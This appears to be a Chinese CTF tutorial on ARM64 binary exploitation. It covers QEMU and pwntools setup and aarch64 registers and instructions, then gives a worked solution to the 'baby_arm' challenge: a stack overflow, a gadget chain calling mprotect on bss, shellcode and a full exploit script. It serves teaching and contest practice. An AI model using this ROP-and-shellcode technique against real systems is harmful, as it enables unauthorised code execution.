原文:https://mp.weixin.qq.com/s/AwNPbG9kT3Wb-FcjbQJq4w

前言

如今越来越多的pwn运行在其他的CPU架构下,本章主要以aarch64为例,讲解下环境的搭建以及arm64架构。环境搭建过程可扩展到其他cpu架构体系。

环境搭建

安装qemu及相应的libc环境

qemu的安装:

1
2
$ sudo apt-get install qemu-user
$ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386

libc环境安装(安装后libc环境存放在/usr/aarch64-linux-gnu目录下):

1
$ sudo apt install libc6-arm64-cross
正常启动:
1
$ qemu-aarch64 -L /usr/aarch64-linux-gnu ./baby_arm
调试模式:

首先安装gdb-multiarch:

1
$ sudo apt install gdb-multiarch

qemu调试模式启动(调试端口为1235):

1
$ qemu-aarch64 -g 1235 -L /usr/aarch64-linux-gnu ./baby_arm

gdb-multiarch调试:

1
2
$ gdb-multiarch ./baby_arm
pwndbg>target remote localhost:1235

或者(可用show architecture查看当前CPU架构):

1
2
3
$ gdb-multiarch
pwndbg> set architecture aarch64
pwndbg> target remote localhost:1235

pwntools相关

一般来说还是比较习惯用pwntools来写题目,所以就研究了下相关的使用方法。

首先是环境搭建:

1
2
3
$ sudo mkdir /etc/qemu-binfmt
$ sudo ln -s /usr/aarch64-linux-gnu /etc/qemu-binfmt/aarch64
$ sudo apt-get install binutils-aarch64-linux-gnu

将相应的libc环境链接到/etc/qemu-binfmt目录下,这样pwntools运行的时候就会用qemu启动,并在相应目录下查找对应架构的环境,从而运行程序。binutils-aarch64-linux-gnu这一程序则是用与asm模块使用的,主要是shellcode之类的需要用到。环境配置好后然后直接按照x86架构的方式运行即可。

如果需要用gdb调试的话,则需要用gdb.debug()来启动程序才能进行调试:

1
2
3
4
from pwn import *
context.arch = 'aarch64'
p = gdb.debug("./baby_arm")
p.interactive()

arm相关基础(以64位为准)

寄存器

含有31个64位通用寄存器(包括x0~x28,fp/x29、lr/x30)、栈指针寄存器(sp)以及程序计数器(pc)以及一次程序状态寄存器(cpsr),在gdb中可用info r查看。

其中x0~x7一般是函数的参数,x0一般表示返回值。lr/x30寄存器存放着函数的返回地址。

arm64调用约定

arm64位调用约定采用AAPCS64。参数1参数8 分别保存到 X0X7 寄存器中 ,剩下的参数从右往左一次入栈,被调用者实现栈平衡,返回值存放在 X0 中。

返回时,通过LDP x29, x30, [sp, #0x10];指令将调用前的的栈指针以及返回地址弹出到fp和lr寄存器。接着使用RET指令,令SP=FP,PC=LR,从而完成函数调用的返回。

常用指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
MOV    X1,X0         ;将寄存器X0的值传送到寄存器X1
ADD X0,X1,X2 ;寄存器X1和X2的值相加后传送到X0
SUB X0,X1,X2 ;寄存器X1和X2的值相减后传送到X0

AND X0,X0,#0xF ; X0的值与0xF相位与后的值传送到X0
ORR X0,X0,#9 ; X0的值与9相位或后的值传送到X0
EOR X0,X0,#0xF ; X0的值与0xF相异或后的值传送到X0

LDR X5,[X6,#0x08] ;ld:load; X6寄存器加0x08的和的地址值内的数据传送到X5
LDP x29, x30, [sp, #0x10] ; ldp :load pair ; 一对寄存器, 从内存读取数据到寄存器

STR X0, [SP, #0x8] ;st:store,str:往内存中写数据(偏移值为正); X0寄存器的数据传送到SP+0x8地址值指向的存储空间
STUR w0, [x29, #-0x8] ;往内存中写数据(偏移值为负)
STP x29, x30, [sp, #0x10] ;store pair,存放一对数据, 入栈指令

CBZ ;比较(Compare),如果结果为零(Zero)就转移(只能跳到后面的指令)
CBNZ ;比较,如果结果非零(Non Zero)就转移(只能跳到后面的指令)
CMP ;比较指令,相当于SUBS,影响程序状态寄存器CPSR

B ;无条件跳转指令,可带条件跳转与cmp配合使用
BL ;带返回的跳转指令, 返回地址保存到LR(X30),类似于x86的call指令
BLR ; 带返回的跳转指令,跳转到指令后边跟随寄存器中保存的地址(例:blr x8 ;跳转到x8保存的地址中去执行)
RET ;子程序返回指令,返回地址默认保存在LR(X30),即执行PC=LR
svc #0 ;执行系统调用,类似于x86下的syscall和int 80h。

例题1

这里以第四届上海市大学生网络安全大赛的baby_arm为例讲下arm的pwn。

分析

首先看下保护:

1
2
3
4
5
6
7
$ checksec baby_arm 
[*] '/home/ubn/arm/1/baby_arm'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到开启了NX保护。

分析程序可以看到存在两个read函数的调用,第一个read处是输入Name并保存到bss中,第二个则存在栈溢出漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00000000004007F0 sub_4007F0                              ; CODE XREF: sub_400818+3C↓p
.text:00000000004007F0
.text:00000000004007F0 var_50 = -0x50
.text:00000000004007F0
.text:00000000004007F0 STP X29, X30, [SP,#var_50]!
.text:00000000004007F4 MOV X29, SP
.text:00000000004007F8 ADD X0, X29, #0x10
.text:00000000004007FC MOV X2, #0x200
.text:0000000000400800 MOV X1, X0
.text:0000000000400804 MOV W0, #0
.text:0000000000400808 BL .read
.text:000000000040080C NOP
.text:0000000000400810 LDP X29, X30, [SP+0x50+var_50],#0x50
.text:0000000000400814 RET
.text:0000000000400814 ; End of function sub_4007F0

在简化成c语言可以看做是read(0,sp+0x10,0x200);,很明显,可以通过栈溢出来控制执行流。

另外可以看到存在mprotect函数,因而可以用该函数来修改bss段的属性,从而执行shellcode。

利用方式有了,然后就再考虑下如何传参给mprotect函数:

通过ida的汇编窗口可以看到有下面的一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
.text:0000000000400868 ; Attributes: bp-based frame
.text:0000000000400868
.text:0000000000400868 sub_400868 ; DATA XREF: start+1C↑o
.text:0000000000400868 ; .text:off_400648↑o
.text:0000000000400868
.text:0000000000400868 var_s0 = 0
.text:0000000000400868 var_s10 = 0x10
.text:0000000000400868 var_s20 = 0x20
.text:0000000000400868 var_s30 = 0x30
.text:0000000000400868
.text:0000000000400868 STP X29, X30, [SP,#-0x40+var_s0]!
.text:000000000040086C MOV X29, SP
.text:0000000000400870 STP X21, X22, [SP,#var_s20]
.text:0000000000400874 ADRP X21, #off_410DF0@PAGE
.text:0000000000400878 STP X19, X20, [SP,#var_s10]
.text:000000000040087C ADRP X20, #off_410DF8@PAGE
.text:0000000000400880 ADD X21, X21, #off_410DF0@PAGEOFF
.text:0000000000400884 ADD X20, X20, #off_410DF8@PAGEOFF
.text:0000000000400888 SUB X20, X20, X21
.text:000000000040088C STP X23, X24, [SP,#var_s30]
.text:0000000000400890 MOV X22, X2
.text:0000000000400894 MOV W24, W0
.text:0000000000400898 MOV X23, X1
.text:000000000040089C BL .init_proc
.text:00000000004008A0 ASR X20, X20, #3
.text:00000000004008A4 CBZ X20, loc_4008CC
.text:00000000004008A8 MOV X19, #0
.text:00000000004008AC
.text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10] #x19=[sp+0x10];x20=[sp+0x18];
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20] #x21=[sp+0x20];x22=[sp+0x28];
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30] #x23=[sp+0x30];x24=[sp+0x38];
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 #x29=[sp];x30=[sp+0x8];sp=sp+0x40;
.text:00000000004008DC RET
.text:00000000004008DC ; End of function sub_400868

这一函数有点类似于x86下的init函数,并且也存在可以设置参的地方。

首先是loc_4008AC这一区域内,首先执行:x3 = [x29+x19*8]; x2 = x22; x1 = x23; x0 = x24设置前四个寄存器的值,然后将计数器的值即x19加一,再blr跳转到x3。执行完毕后,判断x19是否等于x20,不等于则继续循环,等于则执行到loc_4008CC的内容。

而loc_4008CC中则是将栈中的值赋予到x19~24寄存器中,并执行返回操作。

我们可以先后调用loc_4008CC和loc_4008AC,从而完成参数的设置和函数的调用功能。

利用过程

首先,将shellcode写入到bss段中,并且写入后面loc_4008AC中需要调用的函数地址(即mprotect地址和shellcode地址):

1
2
3
4
5
pay1 = ''
pay1 += asm(shellcraft.aarch64.sh())#size=44
pay1 += p64(mprotect)
pay1 += p64(name)
g.send(pay1.ljust(0x200,'\x00'))

然后利用sub_400868中的gadget,进行参数的设置:

1
2
3
4
5
6
7
8
9
10
11
pay2 = "1"*0x48
pay2 += p64(gadget1)
pay2 += p64(name)
pay2 += p64(gadget2)
pay2 += p64(0)
pay2 += p64(0xdeadbeef)
pay2 += p64(name+44)
pay2 += p64(7)
pay2 += p64(0x1000)
pay2 += p64(bss_start)
g.send(pay2.ljust(0x200,'\x00'))

这一即完成了参数的设置以及函数的调用,从而可以getshell了(loc_4008AC中的循环会依次调用name+44处所保存的函数地址,即mprotect->shellcode)。

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.arch = 'aarch64'
g = gdb.debug("./baby_arm")

mprotect = 0x400600
name = 0x411068
gadget1 = 0x4008CC
gadget2 = 0x4008AC
bss_start = 0x411000

pay1 = ''
pay1 += asm(shellcraft.aarch64.sh())#size=44
pay1 += p64(mprotect)
pay1 += p64(name)
g.send(pay1.ljust(0x200,'\x00'))

pay2 = "1"*0x48
pay2 += p64(gadget1)
pay2 += p64(name)
pay2 += p64(gadget2)
pay2 += p64(0)
pay2 += p64(0xdeadbeef)
pay2 += p64(name+44)
pay2 += p64(7)
pay2 += p64(0x1000)
pay2 += p64(bss_start)
g.send(pay2.ljust(0x200,'\x00'))
g.interactive()

例题2

另一种pwntools的编写方式详看2020第五空间线上初赛-WP | nuoye’s blog中的pwnme。

参考文章

pwnlib.qemu — QEMU Utilities — pwntools 4.1.2 documentation http://docs.pwntools.com/en/stable/qemu.html?highlight=qemu#pwnlib.qemu.ld_prefix

ARM PWN 环境搭建和测试_u012655643的博客-CSDN博客_arm pwn https://blog.csdn.net/u012655643/article/details/84584974